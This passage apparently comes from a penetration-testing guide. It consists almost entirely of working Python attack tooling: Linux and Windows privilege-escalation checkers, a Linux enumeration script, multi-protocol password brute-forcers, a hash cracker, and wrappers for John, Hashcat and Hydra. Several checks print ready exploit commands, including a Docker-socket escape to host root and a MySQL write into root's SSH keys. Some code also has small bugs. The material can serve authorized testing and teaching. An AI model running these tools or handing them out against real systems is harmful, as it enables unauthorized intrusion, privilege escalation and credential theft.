result = subprocess.run(['groups'], capture_output=True, text=True)
if result.returncode == 0:
user_groups = result.stdout.strip().split()
for group in user_groups:
if group in dangerous_groups:
print(f"[!] User is in dangerous group: {group}")
print(f" Exploit: {dangerous_groups[group]}")
# Check /etc/group for interesting entries
with open('/etc/group', 'r') as f:
for line in f:
parts = line.strip().split(':')
if len(parts) >= 4 and parts[3]:
group_name = parts[0]
members = parts[3].split(',')
if group_name in dangerous_groups and user in members:
print(f"[!] User is in {group_name} group via /etc/group")
except Exception as e:
print(f"Error checking groups: {e}")
def check_kernel_version(self):
"""Check kernel version for known exploits"""
print("\n[*] Checking kernel version...")
try:
result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
kernel = result.stdout.strip()
print(f"[+] Kernel: {kernel}")
# Known vulnerable kernels
vulnerable_versions = {
'2.6.': ['2.6.39 and below', 'CVE-2016-5195 (DirtyCow)'],
'3.0.': ['3.0.0 - 3.19.8', 'Overlayfs'],
'3.10.0': ['RHEL/CentOS 7', 'CVE-2017-1000112'],
'4.4.': ['Ubuntu 16.04', 'CVE-2017-16995'],
'4.8.': ['4.8.0-4.8.5', 'CVE-2016-8655'],
'4.10.': ['4.10.0-4.10.17', 'CVE-2017-1000112'],
'4.13.': ['4.13.0-4.13.16', 'CVE-2017-16995'],
'5.3.': ['5.3.0-5.3.18', 'CVE-2019-18634']
}
for version, info in vulnerable_versions.items():
if version in kernel:
print(f"[!] Potentially vulnerable kernel: {version}")
print(f" {info[0]}: {info[1]}")
except Exception as e:
print(f"Error checking kernel: {e}")
def check_mysql_root(self):
"""Check if MySQL is running as root"""
print("\n[*] Checking MySQL processes...")
try:
result = subprocess.run(['ps', 'aux', '|', 'grep', 'mysql'],
capture_output=True, text=True, shell=True)
if 'mysql' in result.stdout.lower():
for line in result.stdout.split('\n'):
if 'mysql' in line.lower() and 'root' in line:
print(f"[!] MySQL running as root: {line}")
print(" Exploit: SELECT ... INTO OUTFILE '/root/.ssh/authorized_keys'")
except Exception as e:
pass
def check_nfs_shares(self):
"""Check NFS shares configuration"""
print("\n[*] Checking NFS shares...")
try:
if os.path.exists('/etc/exports'):
with open('/etc/exports', 'r') as f:
for line in f:
if 'no_root_squash' in line:
print(f"[!] NFS share with no_root_squash: {line.strip()}")
print(" Exploit: mount -o rw,vers=2 share /mnt/nfs")
print(" Create setuid binary on share")
except Exception as e:
pass
def check_environment_variables(self):
"""Check environment variables for privilege escalation vectors"""
print("\n[*] Checking environment variables...")
dangerous_env = {
'LD_PRELOAD': 'Can load arbitrary libraries',
'LD_LIBRARY_PATH': 'Can hijack library loading',
'PATH': 'If writable directory in PATH',
'PYTHONPATH': 'Can hijack Python imports',
'PERL5LIB': 'Can hijack Perl imports',
'RUBYLIB': 'Can hijack Ruby imports'
}
for env_var, desc in dangerous_env.items():
value = os.environ.get(env_var)
if value:
print(f"[!] {env_var} is set: {value}")
print(f" Danger: {desc}")
def check_docker_socket(self):
"""Check for accessible Docker socket"""
print("\n[*] Checking Docker socket...")
docker_socket = '/var/run/docker.sock'
if os.path.exists(docker_socket) and os.access(docker_socket, os.R_OK|os.W_OK):
print(f"[!] Docker socket is writable: {docker_socket}")
print(" Exploit: docker run -v /:/host -it alpine chroot /host")
def run_all_checks(self):
"""Run all privilege escalation checks"""
print("=" * 60)
print("LINUX PRIVILEGE ESCALATION CHECKLIST")
print("=" * 60)
self.check_kernel_version()
self.check_sudo()
self.check_suid()
self.check_capabilities()
self.check_cron()
self.check_writable_files()
self.check_writable_directories()
self.check_groups()
self.check_mysql_root()
self.check_nfs_shares()
self.check_environment_variables()
self.check_docker_socket()
print("\n" + "=" * 60)
print("PRIVILEGE ESCALATION CHECK COMPLETE")
print("=" * 60)
# Example usage
privesc = LinuxPrivEsc()
privesc.run_all_checks()#!/usr/bin/env python3
# linux_enum.py - Comprehensive Linux enumeration script
import os
import sys
import pwd
import grp
import subprocess
import socket
import platform
from datetime import datetime
class LinuxEnumerator:
def __init__(self):
self.output = []
self.vulnerabilities = []
def log(self, message, level="INFO"):
timestamp = datetime.now().strftime("%H:%M:%S")
self.output.append(f"[{timestamp}][{level}] {message}")
def run_command(self, cmd, shell=True):
"""Run command and return output"""
try:
result = subprocess.run(cmd, capture_output=True, text=True, shell=shell, timeout=5)
return result.stdout.strip()
except:
return ""
def enumerate_system_info(self):
"""Enumerate basic system information"""
self.log("=" * 60)
self.log("SYSTEM INFORMATION")
self.log("=" * 60)
# Hostname
hostname = socket.gethostname()
self.log(f"Hostname: {hostname}")
# OS Information
os_info = self.run_command("cat /etc/os-release | grep -E 'PRETTY_NAME|VERSION'")
self.log(f"OS: {os_info}")
# Kernel version
kernel = self.run_command("uname -a")
self.log(f"Kernel: {kernel}")
# Architecture
arch = platform.machine()
self.log(f"Architecture: {arch}")
# Uptime
uptime = self.run_command("uptime")
self.log(f"Uptime: {uptime}")
# Current user
user = self.run_command("whoami")
self.log(f"Current user: {user}")
# User ID
uid_info = self.run_command("id")
self.log(f"ID: {uid_info}")
def enumerate_users(self):
"""Enumerate users and groups"""
self.log("\n" + "=" * 60)
self.log("USER ENUMERATION")
self.log("=" * 60)
# List users from /etc/passwd
self.log("Users from /etc/passwd:")
with open('/etc/passwd', 'r') as f:
for line in f:
if '/bin/bash' in line or '/bin/sh' in line or '/bin/zsh' in line:
parts = line.strip().split(':')
self.log(f" {parts[0]}:{parts[5]} ({parts[6]})")
# Current logged in users
logged_in = self.run_command("who")
self.log(f"\nLogged in users:\n{logged_in}")
# Last logins
last = self.run_command("last -n 10 | grep -v 'wtmp'")
self.log(f"\nLast 10 logins:\n{last}")
# Sudoers
sudoers = self.run_command("cat /etc/sudoers 2>/dev/null | grep -v '#'")
if sudoers:
self.log("\nSudoers entries:")
self.log(sudoers)
def enumerate_network(self):
"""Enumerate network configuration"""
self.log("\n" + "=" * 60)
self.log("NETWORK ENUMERATION")
self.log("=" * 60)
# Interfaces
interfaces = self.run_command("ip addr show")
self.log(f"Network interfaces:\n{interfaces}")
# Routing table
routes = self.run_command("route -n")
self.log(f"\nRouting table:\n{routes}")
# DNS servers
if os.path.exists('/etc/resolv.conf'):
with open('/etc/resolv.conf', 'r') as f:
self.log(f"\nDNS servers:\n{f.read()}")
# ARP cache
arp = self.run_command("arp -a")
self.log(f"\nARP cache:\n{arp}")
# Open ports
netstat = self.run_command("netstat -tulpn 2>/dev/null | grep LISTEN")
self.log(f"\nListening ports:\n{netstat}")
# Active connections
connections = self.run_command("ss -tunp")
self.log(f"\nActive connections:\n{connections}")
def enumerate_processes(self):
"""Enumerate running processes"""
self.log("\n" + "=" * 60)
self.log("PROCESS ENUMERATION")
self.log("=" * 60)
# Running processes
ps = self.run_command("ps auxf")
self.log(f"Running processes (first 50):\n{ps[:2000]}")
# Processes running as root
root_procs = self.run_command("ps aux | grep '^root'")
self.log(f"\nProcesses running as root:\n{root_procs}")
# Interesting processes
interesting = ['apache', 'nginx', 'mysql', 'postgres', 'tomcat', 'docker', 'kube']
for proc in interesting:
count = self.run_command(f"ps aux | grep -c {proc}")
if count and int(count) > 0:
self.log(f"[!] {proc} is running")
def enumerate_filesystem(self):
"""Enumerate filesystem for interesting files"""
self.log("\n" + "=" * 60)
self.log("FILESYSTEM ENUMERATION")
self.log("=" * 60)
# SUID binaries
suid = self.run_command("find / -perm -4000 -type f -ls 2>/dev/null | head -20")
self.log(f"SUID binaries:\n{suid}")
# SGID binaries
sgid = self.run_command("find / -perm -2000 -type f -ls 2>/dev/null | head -20")
self.log(f"\nSGID binaries:\n{sgid}")
# World-writable files
writable = self.run_command("find / -perm -2 -type f -ls 2>/dev/null | head -20")
self.log(f"\nWorld-writable files:\n{writable}")
# Files with capabilities
caps = self.run_command("getcap -r / 2>/dev/null | head -20")
self.log(f"\nFiles with capabilities:\n{caps}")
# SSH keys
ssh_keys = self.run_command("find /home -name 'id_rsa' -o -name 'id_dsa' 2>/dev/null")
if ssh_keys:
self.log(f"\n[!] Found SSH private keys:\n{ssh_keys}")
# Configuration files
configs = self.run_command("find / -name '*.conf' -o -name '*.config' 2>/dev/null | head -20")
self.log(f"\nConfiguration files:\n{configs}")
# Log files
logs = self.run_command("find /var/log -type f -name '*.log' 2>/dev/null | head -10")
self.log(f"\nLog files:\n{logs}")
def enumerate_cron(self):
"""Enumerate cron jobs"""
self.log("\n" + "=" * 60)
self.log("CRON ENUMERATION")
self.log("=" * 60)
# System crontab
if os.path.exists('/etc/crontab'):
with open('/etc/crontab', 'r') as f:
self.log(f"/etc/crontab:\n{f.read()}")
# Cron directories
cron_dirs = ['/etc/cron.d', '/etc/cron.daily', '/etc/cron.hourly',
'/etc/cron.monthly', '/etc/cron.weekly']
for cron_dir in cron_dirs:
if os.path.exists(cron_dir):
files = os.listdir(cron_dir)
if files:
self.log(f"\n{cron_dir}: {', '.join(files)}")
# User crontabs
user_crons = self.run_command("ls -la /var/spool/cron/crontabs/ 2>/dev/null")
if user_crons:
self.log(f"\nUser crontabs:\n{user_crons}")
def enumerate_services(self):
"""Enumerate running services"""
self.log("\n" + "=" * 60)
self.log("SERVICE ENUMERATION")
self.log("=" * 60)
# Systemd services
services = self.run_command("systemctl list-units --type=service --all | head -20")
self.log(f"Systemd services:\n{services}")
# Init.d scripts
if os.path.exists('/etc/init.d'):
scripts = os.listdir('/etc/init.d')
self.log(f"\nInit.d scripts: {', '.join(scripts[:20])}")
# Docker containers
docker = self.run_command("docker ps -a 2>/dev/null")
if docker:
self.log(f"\nDocker containers:\n{docker}")
def check_vulnerabilities(self):
"""Check for common vulnerabilities"""
self.log("\n" + "=" * 60)
self.log("VULNERABILITY CHECKS")
self.log("=" * 60)
# Check kernel for known vulnerabilities
kernel = self.run_command("uname -r")
# Dirty Cow (CVE-2016-5195)
if kernel and kernel.startswith('2.6.'):
self.log("[!] Possibly vulnerable to Dirty Cow (CVE-2016-5195)")
self.vulnerabilities.append("Dirty Cow")
# Overlayfs (CVE-2015-1328)
if kernel and kernel.startswith('3.13.0') or kernel.startswith('3.16.0'):
self.log("[!] Possibly vulnerable to Overlayfs (CVE-2015-1328)")
self.vulnerabilities.append("Overlayfs")
# Check sudo version
sudo_version = self.run_command("sudo --version | head -1")
if '1.8.' in sudo_version:
self.log("[!] Older sudo version may be vulnerable")
self.vulnerabilities.append("Old sudo version")
# Check for writable /etc/passwd
if os.path.exists('/etc/passwd') and os.access('/etc/passwd', os.W_OK):
self.log("[!] /etc/passwd is writable!")
self.vulnerabilities.append("Writable /etc/passwd")
# Check for writable /etc/shadow
if os.path.exists('/etc/shadow') and os.access('/etc/shadow', os.W_OK):
self.log("[!] /etc/shadow is writable!")
self.vulnerabilities.append("Writable /etc/shadow")
def generate_report(self):
"""Generate final report"""
report = "\n" + "=" * 60
report += "\nLINUX ENUMERATION REPORT\n"
report += "=" * 60 + "\n"
report += f"Generated: {datetime.now()}\n"
report += f"Hostname: {socket.gethostname()}\n"
report += f"User: {self.run_command('whoami')}\n"
report += "=" * 60 + "\n\n"
report += "\n".join(self.output)
report += "\n\n" + "=" * 60
report += "\nVULNERABILITY SUMMARY\n"
report += "=" * 60 + "\n"
if self.vulnerabilities:
for vuln in self.vulnerabilities:
report += f"[!] {vuln}\n"
else:
report += "[+] No obvious vulnerabilities found\n"
return report
def save_report(self, filename):
"""Save report to file"""
report = self.generate_report()
with open(filename, 'w') as f:
f.write(report)
print(f"[+] Report saved to {filename}")
# Example usage
enumerator = LinuxEnumerator()
enumerator.enumerate_system_info()
enumerator.enumerate_users()
enumerator.enumerate_network()
enumerator.enumerate_processes()
enumerator.enumerate_filesystem()
enumerator.enumerate_cron()
enumerator.enumerate_services()
enumerator.check_vulnerabilities()
enumerator.save_report("linux_enum_report.txt")Windows privilege escalation requires understanding of Windows-specific security mechanisms.
#!/usr/bin/env python3
# windows_privesc.py
import subprocess
import os
import re
class WindowsPrivEsc:
def __init__(self):
self.techniques = {
'kernel_exploit': 'Exploit Windows kernel vulnerabilities',
'service_permissions': 'Misconfigured service permissions',
'unquoted_paths': 'Unquoted service paths',
'weak_service_permissions': 'Weak service ACLs',
'always_install_elevated': 'AlwaysInstallElevated registry key',
'scheduled_tasks': 'Misconfigured scheduled tasks',
'startup_apps': 'Startup applications',
'dll_hijacking': 'DLL hijacking',
'token_impersonation': 'Token impersonation',
'registry_checks': 'Writable registry keys',
'seimpersonate': 'SeImpersonatePrivilege enabled'
}
def check_windows_version(self):
"""Check Windows version and build"""
print("[*] Checking Windows version...")
try:
result = subprocess.run(['systeminfo'], capture_output=True, text=True)
for line in result.stdout.split('\n'):
if 'OS Name' in line:
print(f"[+] {line.strip()}")
if 'OS Version' in line:
print(f"[+] {line.strip()}")
version = line.split(':')[1].strip()
# Check for known vulnerable versions
if '7601' in version: # Windows 7 SP1
print("[!] Windows 7 SP1 - potentially vulnerable to EternalBlue")
elif '14393' in version: # Windows 10 1607
print("[!] Windows 10 1607 - check for recent exploits")
except Exception as e:
print(f"Error checking version: {e}")
def check_whoami(self):
"""Check current user privileges"""
print("\n[*] Checking current user privileges...")
try:
# Check whoami
result = subprocess.run(['whoami', '/all'], capture_output=True, text=True)
for line in result.stdout.split('\n'):
if 'SeImpersonatePrivilege' in line and 'Enabled' in line:
print("[!] SeImpersonatePrivilege is enabled!")
print(" Exploit: Use JuicyPotato or PrintSpoofer")
if 'SeAssignPrimaryTokenPrivilege' in line and 'Enabled' in line:
print("[!] SeAssignPrimaryTokenPrivilege is enabled!")
if 'SeCreateTokenPrivilege' in line and 'Enabled' in line:
print("[!] SeCreateTokenPrivilege is enabled!")
if 'SeDebugPrivilege' in line and 'Enabled' in line:
print("[!] SeDebugPrivilege is enabled!")
except Exception as e:
print(f"Error checking privileges: {e}")
def check_service_permissions(self):
"""Check service permissions with sc and accesschk"""
print("\n[*] Checking service permissions...")
try:
# List services
result = subprocess.run(['sc', 'query'], capture_output=True, text=True)
services = re.findall(r'SERVICE_NAME: (.*)', result.stdout)
for service in services[:20]: # Check first 20
# Check service config
config = subprocess.run(['sc', 'qc', service], capture_output=True, text=True)
# Look for unquoted paths
for line in config.stdout.split('\n'):
if 'BINARY_PATH_NAME' in line:
path = line.split(':')[1].strip()
if ' ' in path and '"' not in path:
print(f"[!] Unquoted service path: {service} - {path}")
# Check service permissions (requires accesschk from Sysinternals)
# accesschk = subprocess.run(['accesschk.exe', service], capture_output=True)
except Exception as e:
print(f"Error checking services: {e}")
def check_registry(self):
"""Check registry for privilege escalation vectors"""
print("\n[*] Checking registry...")
# AlwaysInstallElevated
try:
result = subprocess.run([
'reg', 'query', 'HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer',
'/v', 'AlwaysInstallElevated'
], capture_output=True, text=True)
if '0x1' in result.stdout:
print("[!] AlwaysInstallElevated enabled (HKLM)")
result = subprocess.run([
'reg', 'query', 'HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer',
'/v', 'AlwaysInstallElevated'
], capture_output=True, text=True)
if '0x1' in result.stdout:
print("[!] AlwaysInstallElevated enabled (HKCU)")
print(" Exploit: Generate malicious MSI package")
except Exception as e:
pass
# AutoRun entries
try:
autorun_keys = [
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',
'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run',
'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce'
]
for key in autorun_keys:
result = subprocess.run(['reg', 'query', key], capture_output=True, text=True)
if result.returncode == 0:
print(f"[*] AutoRun entries in {key}:")
print(result.stdout)
except Exception as e:
pass
def check_startup_folders(self):
"""Check startup folders for writable permissions"""
print("\n[*] Checking startup folders...")
startup_paths = [
'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup',
os.path.expandvars('%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup'),
os.path.expandvars('%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup')
]
for path in startup_paths:
if os.path.exists(path):
# Check if writable (simplified)
try:
test_file = os.path.join(path, 'test.txt')
with open(test_file, 'w') as f:
f.write('test')
os.remove(test_file)
print(f"[!] Writable startup folder: {path}")
except:
print(f"[-] Not writable: {path}")
def check_scheduled_tasks(self):
"""Check scheduled tasks"""
print("\n[*] Checking scheduled tasks...")
try:
result = subprocess.run(['schtasks', '/query', '/fo', 'LIST', '/v'],
capture_output=True, text=True)
tasks = result.stdout.split('\n\n')
for task in tasks[:10]: # Check first 10
if 'SYSTEM' in task or 'LOCAL SERVICE' in task:
# Extract task name and command
task_name = re.search(r'TaskName:\s+(.+)', task)
task_run = re.search(r'Task To Run:\s+(.+)', task)
if task_name and task_run:
print(f"[*] System task: {task_name.group(1)}")
print(f" Runs: {task_run.group(1)}")
# Check if task file is writable
task_file = task_run.group(1).strip('"')
if os.path.exists(task_file):
if os.access(task_file, os.W_OK):
print(f"[!] Writable task binary: {task_file}")
except Exception as e:
print(f"Error checking tasks: {e}")
def check_dll_hijacking(self):
"""Check for potential DLL hijacking opportunities"""
print("\n[*] Checking for DLL hijacking opportunities...")
# Common writable paths
writable_paths = [
'C:\\Windows\\Temp',
'C:\\Temp',
os.path.expandvars('%TEMP%'),
os.path.expandvars('%TMP%')
]
for path in writable_paths:
if os.path.exists(path) and os.access(path, os.W_OK):
print(f"[!] Writable path for DLL hijacking: {path}")
# Check PATH directories for writable ones
path_dirs = os.environ.get('PATH', '').split(';')
for directory in path_dirs:
if directory and os.path.exists(directory) and os.access(directory, os.W_OK):
print(f"[!] Writable directory in PATH: {directory}")
def check_installed_software(self):
"""Check installed software for vulnerable versions"""
print("\n[*] Checking installed software...")
try:
# Get installed programs from registry
result = subprocess.run([
'reg', 'query', 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
'/s'
], capture_output=True, text=True)
software = re.findall(r'DisplayName\s+REG_SZ\s+(.+)', result.stdout)
vulnerable_software = {
'Adobe Reader': 'Adobe Reader',
'Java': 'Java',
'Flash': 'Flash Player',
'Chrome': 'Google Chrome',
'Firefox': 'Mozilla Firefox',
'Office': 'Microsoft Office',
'IIS': 'IIS',
'SQL Server': 'SQL Server',
'VNC': 'VNC',
'TeamViewer': 'TeamViewer'
}
found = []
for soft in software:
for vuln, name in vulnerable_software.items():
if vuln.lower() in soft.lower():
if name not in found:
found.append(name)
print(f"[*] Installed: {soft}")
except Exception as e:
print(f"Error checking software: {e}")
def run_all_checks(self):
"""Run all Windows privilege escalation checks"""
print("=" * 60)
print("WINDOWS PRIVILEGE ESCALATION CHECKLIST")
print("=" * 60)
self.check_windows_version()
self.check_whoami()
self.check_service_permissions()
self.check_registry()
self.check_startup_folders()
self.check_scheduled_tasks()
self.check_dll_hijacking()
self.check_installed_software()
print("\n" + "=" * 60)
print("PRIVILEGE ESCALATION CHECK COMPLETE")
print("=" * 60)
# Example usage
privesc = WindowsPrivEsc()
privesc.run_all_checks()Password attacks are often necessary when other exploitation vectors fail.
#!/usr/bin/env python3
# online_password_attacks.py
import requests
import socket
import time
import threading
from concurrent.futures import ThreadPoolExecutor
class OnlinePasswordAttacker:
def __init__(self, target, attack_type='http'):
self.target = target
self.attack_type = attack_type
self.found = []
self.lock = threading.Lock()
def http_bruteforce(self, url, username_field, password_field, usernames, passwords):
"""HTTP form bruteforce"""
print(f"[*] Starting HTTP bruteforce against {url}")
def try_login(username, password):
data = {
username_field: username,
password_field: password
}
try:
response = requests.post(url, data=data, timeout=5)
# Check for login success indicators
success_indicators = ['welcome', 'dashboard', 'logout', 'profile']
for indicator in success_indicators:
if indicator in response.text.lower():
with self.lock:
print(f"[+] Found credentials: {username}:{password}")
self.found.append((username, password))
return True
except:
pass
return False
total = len(usernames) * len(passwords)
attempts = 0
for username in usernames:
for password in passwords:
attempts += 1
if attempts % 100 == 0:
print(f" Progress: {attempts}/{total} ({attempts/total*100:.1f}%)")
if try_login(username, password):
break
return self.found
def ssh_bruteforce(self, port=22, usernames=None, passwords=None):
"""SSH bruteforce using paramiko"""
print(f"[*] Starting SSH bruteforce against {self.target}:{port}")
try:
import paramiko
except ImportError:
print("[-] paramiko not installed. Install with: pip install paramiko")
return []
def try_ssh(username, password):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(self.target, port=port, username=username,
password=password, timeout=5)
with self.lock:
print(f"[+] SSH credentials found: {username}:{password}")
self.found.append((username, password))
client.close()
return True
except:
pass
return False
for username in usernames:
for password in passwords:
if try_ssh(username, password):
break
return self.found
def ftp_bruteforce(self, port=21, usernames=None, passwords=None):
"""FTP bruteforce"""
print(f"[*] Starting FTP bruteforce against {self.target}:{port}")
def try_ftp(username, password):
try:
import ftplib
ftp = ftplib.FTP()
ftp.connect(self.target, port, timeout=5)
ftp.login(username, password)
ftp.quit()
with self.lock:
print(f"[+] FTP credentials found: {username}:{password}")
self.found.append((username, password))
return True
except:
pass
return False
for username in usernames:
for password in passwords:
if try_ftp(username, password):
break
return self.found
def mysql_bruteforce(self, port=3306, usernames=None, passwords=None):
"""MySQL bruteforce"""
print(f"[*] Starting MySQL bruteforce against {self.target}:{port}")
try:
import pymysql
except ImportError:
print("[-] pymysql not installed. Install with: pip install pymysql")
return []
def try_mysql(username, password):
try:
conn = pymysql.connect(
host=self.target,
port=port,
user=username,
password=password,
connect_timeout=5
)
conn.close()
with self.lock:
print(f"[+] MySQL credentials found: {username}:{password}")
self.found.append((username, password))
return True
except:
pass
return False
for username in usernames:
for password in passwords:
if try_mysql(username, password):
break
return self.found
def rdp_bruteforce(self, port=3389, usernames=None, passwords=None):
"""RDP bruteforce using crowbar or similar"""
print(f"[*] Starting RDP bruteforce against {self.target}:{port}")
print(" Use specialized tools like crowbar or ncrack for RDP")
# This would integrate with external tools
return []
def generate_wordlist(self, base_words, rules=None):
"""Generate password wordlist based on rules"""
wordlist = set(base_words)
if rules:
for word in base_words:
# Common substitutions
if 'capitalize' in rules:
wordlist.add(word.capitalize())
if 'uppercase' in rules:
wordlist.add(word.upper())
if 'leet' in rules:
leet = word.replace('a', '@').replace('e', '3').replace('i', '1').replace('o', '0')
wordlist.add(leet)
if 'append_year' in rules:
for year in ['2020', '2021', '2022', '2023', '2024']:
wordlist.add(word + year)
if 'append_number' in rules:
for i in range(10):
wordlist.add(word + str(i))
return list(wordlist)
# Example usage
attacker = OnlinePasswordAttacker('192.168.1.100', 'http')
# Generate wordlist
usernames = ['admin', 'administrator', 'root', 'user', 'test']
passwords = ['password', '123456', 'admin', 'letmein', 'qwerty']
# HTTP attack
# results = attacker.http_bruteforce('http://192.168.1.100/login', 'username', 'password',
# usernames, passwords)
# SSH attack
# results = attacker.ssh_bruteforce(22, usernames, passwords)#!/usr/bin/env python3
# offline_password_cracking.py
import hashlib
import crypt
import itertools
import string
import time
from concurrent.futures import ProcessPoolExecutor
class OfflinePasswordCracker:
def __init__(self):
self.hash_types = {
'md5': hashlib.md5,
'sha1': hashlib.sha1,
'sha256': hashlib.sha256,
'sha512': hashlib.sha512,
'ntlm': self.ntlm_hash
}
def ntlm_hash(self, password):
"""Calculate NTLM hash"""
import hashlib
hash = hashlib.new('md4', password.encode('utf-16le')).digest()
return hash.hex().upper()
def crack_md5(self, hash_value, wordlist):
"""Crack MD5 hash with wordlist"""
print(f"[*] Cracking MD5 hash: {hash_value}")
for word in wordlist:
word = word.strip()
if hashlib.md5(word.encode()).hexdigest() == hash_value:
print(f"[+] Password found: {word}")
return word
return None
def crack_sha1(self, hash_value, wordlist):
"""Crack SHA1 hash with wordlist"""
for word in wordlist:
word = word.strip()
if hashlib.sha1(word.encode()).hexdigest() == hash_value:
return word
return None
def crack_ntlm(self, hash_value, wordlist):
"""Crack NTLM hash with wordlist"""
for word in wordlist:
if self.ntlm_hash(word) == hash_value.upper():
return word
return None
def crack_unix(self, hash_string, wordlist):
"""Crack Unix crypt hash"""
# Format: $id$salt$hash
parts = hash_string.split('$')
if len(parts) == 4:
hash_type = parts[1]
salt = parts[2]
target_hash = parts[3]
for word in wordlist:
crypt_hash = crypt.crypt(word, f"${hash_type}${salt}$")
if crypt_hash == hash_string:
return word
return None
def brute_force(self, hash_value, hash_type, max_length=8, charset=None):
"""Brute force attack"""
if charset is None:
charset = string.ascii_lowercase + string.digits
hash_func = self.hash_types.get(hash_type)
if not hash_func:
print(f"[-] Unknown hash type: {hash_type}")
return None
print(f"[*] Starting brute force (max length: {max_length}, charset size: {len(charset)})")
start_time = time.time()
for length in range(1, max_length + 1):
print(f" Testing length {length}...")
for combination in itertools.product(charset, repeat=length):
word = ''.join(combination)
if hash_func(word) == hash_value:
elapsed = time.time() - start_time
print(f"[+] Password found: {word} in {elapsed:.2f} seconds")
return word
return None
def dictionary_attack(self, hash_value, hash_type, wordlist_file, rules=None):
"""Dictionary attack with optional rules"""
hash_func = self.hash_types.get(hash_type)
if not hash_func:
return None
print(f"[*] Starting dictionary attack with {wordlist_file}")
try:
with open(wordlist_file, 'r', errors='ignore') as f:
wordlist = f.readlines()
except FileNotFoundError:
print(f"[-] Wordlist not found: {wordlist_file}")
return None
# Basic dictionary
for word in wordlist:
word = word.strip()
if hash_func(word) == hash_value:
return word
# Apply rules if specified
if rules:
for word in wordlist:
word = word.strip()
# Capitalize first letter
if hash_func(word.capitalize()) == hash_value:
return word.capitalize()
# All uppercase
if hash_func(word.upper()) == hash_value:
return word.upper()
# Append common numbers
for i in range(10):
if hash_func(word + str(i)) == hash_value:
return word + str(i)
return None
def mask_attack(self, hash_value, hash_type, mask):
"""Mask attack (e.g., ?l?l?d?d for 2 letters + 2 digits)"""
hash_func = self.hash_types.get(hash_type)
if not hash_func:
return None
# Parse mask
charset_map = {
'?l': string.ascii_lowercase,
'?u': string.ascii_uppercase,
'?d': string.digits,
'?s': string.punctuation,
'?a': string.ascii_letters + string.digits + string.punctuation
}
charsets = []
for char in mask:
if char == '?':
continue
if char in charset_map:
charsets.append(charset_map[char])
total = 1
for cs in charsets:
total *= len(cs)
print(f"[*] Starting mask attack: {mask} ({total} combinations)")
start_time = time.time()
for combination in itertools.product(*charsets):
word = ''.join(combination)
if hash_func(word) == hash_value:
elapsed = time.time() - start_time
print(f"[+] Password found: {word} in {elapsed:.2f} seconds")
return word
return None
def rainbow_table_lookup(self, hash_value, rainbow_table):
"""Rainbow table lookup (simplified)"""
print(f"[*] Looking up hash in rainbow table")
# In practice, this would query a rainbow table database
# For demo purposes, we'll just check a dictionary
return None
def parallel_crack(self, hash_value, hash_type, wordlist_file, num_processes=4):
"""Parallel cracking with multiple processes"""
hash_func = self.hash_types.get(hash_type)
def crack_chunk(chunk):
for word in chunk:
word = word.strip()
if hash_func(word) == hash_value:
return word
return None
# Read wordlist and split into chunks
with open(wordlist_file, 'r', errors='ignore') as f:
words = f.readlines()
chunk_size = len(words) // num_processes
chunks = [words[i:i + chunk_size] for i in range(0, len(words), chunk_size)]
with ProcessPoolExecutor(max_workers=num_processes) as executor:
futures = [executor.submit(crack_chunk, chunk) for chunk in chunks]
for future in futures:
result = future.result()
if result:
return result
return None
# Example usage
cracker = OfflinePasswordCracker()
# Example hash (MD5 of "password")
hash_value = hashlib.md5(b"password").hexdigest()
print(f"Hash: {hash_value}")
# Dictionary attack
wordlist = ['password', '123456', 'admin', 'letmein']
result = cracker.crack_md5(hash_value, wordlist)
print(f"Result: {result}")
# Brute force (short password example)
# result = cracker.brute_force("5f4dcc3b5aa765d61d8327deb882cf99", "md5", max_length=3)#!/usr/bin/env python3
# password_tools.py
import subprocess
import os
import tempfile
class PasswordTools:
def __init__(self):
self.tools = {
'john': '/usr/sbin/john',
'hashcat': '/usr/bin/hashcat',
'hydra': '/usr/bin/hydra',
'ncrack': '/usr/bin/ncrack'
}
def check_tools(self):
"""Check if required tools are installed"""
available = {}
for tool, path in self.tools.items():
if os.path.exists(path):
available[tool] = path
print(f"[+] {tool} found at {path}")
else:
print(f"[-] {tool} not found")
return available
def run_john(self, hash_file, format=None, wordlist=None):
"""Run John the Ripper"""
cmd = ['john']
if format:
cmd.extend(['--format=' + format])
if wordlist:
cmd.extend(['--wordlist=' + wordlist])
cmd.append(hash_file)
print(f"[*] Running: {' '.join(cmd)}")
try:
result = subprocess.run(cmd, capture_output=True, text=True)
print(result.stdout)
# Show cracked passwords
show = subprocess.run(['john', '--show', hash_file], capture_output=True, text=True)
print(show.stdout)
return show.stdout
except Exception as e:
print(f"Error: {e}")
return None
def run_hashcat(self, hash_file, attack_mode, hash_type, wordlist=None):
"""Run Hashcat"""
cmd = ['hashcat', '-m', str(hash_type), '-a', str(attack_mode)]
if wordlist:
cmd.append(wordlist)
cmd.append(hash_file)
print(f"[*] Running: {' '.join(cmd)}")
try:
result = subprocess.run(cmd, capture_output=True, text=True)
# Show cracked passwords
show = subprocess.run(['hashcat', '--show', hash_file], capture_output=True, text=True)
print(show.stdout)
return show.stdout
except Exception as e:
print(f"Error: {e}")
return None
def run_hydra(self, target, service, username_list, password_list, port=None):
"""Run Hydra for online attacks"""
cmd = ['hydra']
if port:
cmd.extend(['-s', str(port)])
cmd.extend(['-L', username_list])
cmd.extend(['-P', password_list])
if service == 'http-post-form':
# Complex format for HTTP forms
cmd.extend(['-f', target, 'http-post-form'])
else:
cmd.extend([target, service])
print(f"[*] Running: {' '.join(cmd)}")
try:
result = subprocess.run(cmd, capture_output=True, text=True)
print(result.stdout)
return result.stdout
except Exception as e:
print(f"Error: {e}")
return None
def create_hash_file(self, hashes, filename):
"""Create hash file for John/Hashcat"""
with open(filename, 'w') as f:
for hash_string in hashes:
f.write(hash_string + '\n')
print(f"[+] Hash file created: {filename}")
return filename
